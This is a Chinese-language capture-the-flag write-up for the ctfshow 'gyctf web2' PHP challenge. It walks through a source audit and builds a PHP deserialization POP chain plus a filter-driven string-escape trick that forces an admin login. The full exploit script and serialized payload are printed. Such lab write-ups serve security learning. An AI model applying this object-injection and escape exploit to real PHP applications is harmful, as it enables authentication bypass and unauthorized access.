CTFSHOW game-gyctf web2

【2020年新春战"疫"】game-gyctf web2

参考https://www.cnblogs.com/aninock/p/15408090.html

说明:看见网上好像没多少人写,刚好玩到这道题了,就写一下吧。

一、利用入口

常规套路发现www.zip然后进行代码审计
index可以包含update,session[login]=1 ,才能获得flag但要检查session

lib.php中设置了session,似乎只有用户admin
可以看到User的验证只针对id和password
所以,只要执行表查询select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?,并且设置name=admin。满足session_id=1,session_token=admin后,session[login]就等于1了,因此必须调用info中的login。

二、构造链条

备注:解析在注释

php 复制代码
<?php

class User
{
    public $age = null;
    public $nickname = null;

    public function update()
    {
        $Info = unserialize($this->getNewinfo());
        $age = $Info->age;
        $nickname = $Info->nickname;
        $updateAction = new UpdateHelper($_SESSION['id'], $Info, "update user SET age=$age,nickname=$nickname where id=" . $_SESSION['id']);
        //这个功能还没有写完 先占坑
    }

    public function getNewInfo()
    {
        $age = $_POST['age'];
        $nickname = $_POST['nickname'];
        return serialize(new Info($age, $nickname));
    }

    public function __destruct()
    {
        return file_get_contents($this->nickname);//危
    }

    public function __toString()
    {
        $this->nickname->update($this->age);
        return "0-0";
    }
}

class Info
{
    public $age;
    public $nickname;
    public $CtrlCase;


    public function __call($name, $argument)
    {
        echo $this->CtrlCase->login($argument[0]);
    }
}

class UpdateHelper
{

    public $sql;

    public function __destruct()
    {
        echo $this->sql;
    }
}

class dbCtrl
{

    public $name;
    public $password;


    public function login($sql)
    {
        $this->mysqli = new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result = $this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token == 'admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password) !== $passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token'] = $this->name;
        return $idResult;
    }
}

$users=new User();
$users->update();


#目标:调用info中的login,使其执行select 1,/"c4ca4238a0b923820dcc509a6f75849b/" from user where username=?
#$this->name = $_POST['username'];admin
#$this->password = $_POST['password'];1
#解决问题:判断以toString作为入口
$ud=new UpdateHelper();
$ud->sql=$users;#echo触发tostring

#第一步:另$age为需要执行的sql语句
$users->age="select 1,\"c4ca4238a0b923820dcc509a6f75849b\" from user where username=?";

#第二步:调用Info中的 login
$in=new Info();
$users->nickname=$in;#toString中的update(),Info类不存在从而触发call

#第三步:需要使用的是dbctrl中的login,继续构造链条
$db=new dbCtrl();
$db->name="admin";
$db->password="1";
$in->CtrlCase=$db;

echo serialize($ud);
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}

三、字符逃逸(增逃逸)

要从Info的login作为入口,而login(argument[0])是第二个参数,即nickname

注意:__call若传参,则返回不存在的方法名和该方法的参数。
运行一下看看入口原来的输出
O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:11:"nickname123";s:8:"CtrlCase";N;}

如果是load换成hacker,那么就从

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"load";s:8:"CtrlCase";N;}

变成

O:4:"Info":3:{s:3:"age";s:6:"age123";s:8:"nickname";s:4:"hacker";s:8:"CtrlCase";N;}

我需要逃逸274个字符串,那就是说要满足方程

6x=4x+274+闭合字符串(";s:8:"CtrlCase";)(17个)+最后的大括号(1个)

2x=292

x=146

所以需要146个"load"
exp

php 复制代码
......
echo serialize($ud);
echo "\n";
echo strlen(serialize($ud));
#O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":2:{s:3:"age";s:70:"select 1,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":2:{s:4:"name";s:5:"admin";s:8:"password";s:1:"1";}}}}
echo "\n";

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
$p=new Info();
$p->age="age123";
$m=str_repeat("load",146);
$p->nickname=$m."\";s:8:\"CtrlCase\";".serialize($ud).'}';
echo($p->nickname);
echo "\n";
echo safe(serialize($p));

四、使用Payload

提示10-0就成功调用__toString()了。
在用admin/1登录既可以获得flag了。

相关推荐
魔众5 小时前
ModStartCMS v9.7.0 组件升级优化,模块升级提醒,访问明细导出
php·cms
一人の梅雨8 小时前
京东商品详情深度解析:从接口调用到商业价值挖掘的技术实现
服务器·数据库·php
帅帅梓8 小时前
docker网络
网络·docker·php
吃鱼吃鱼吃不动了10 小时前
什么是负载均衡?
开发语言·php
BingoGo12 小时前
PHP 开发者应该理解的 Linux 入门权限指南
后端·php
苏琢玉13 小时前
再也不用翻一堆日志!一键部署轻量级错误监控系统,帮你统一管理 PHP 报错
go·github·php
JaguarJack15 小时前
PHP 开发者应该理解的 Linux 入门权限指南
后端·php
2301_7931679915 小时前
网络管理部分
linux·运维·服务器·网络·php
李白你好1 天前
一款基于 PHP 的轻量级Webshell管理工具
php
星光一影1 天前
【OA办公系统】神点企业OA办公助手/全开源
mysql·nginx·开源·php·源代码管理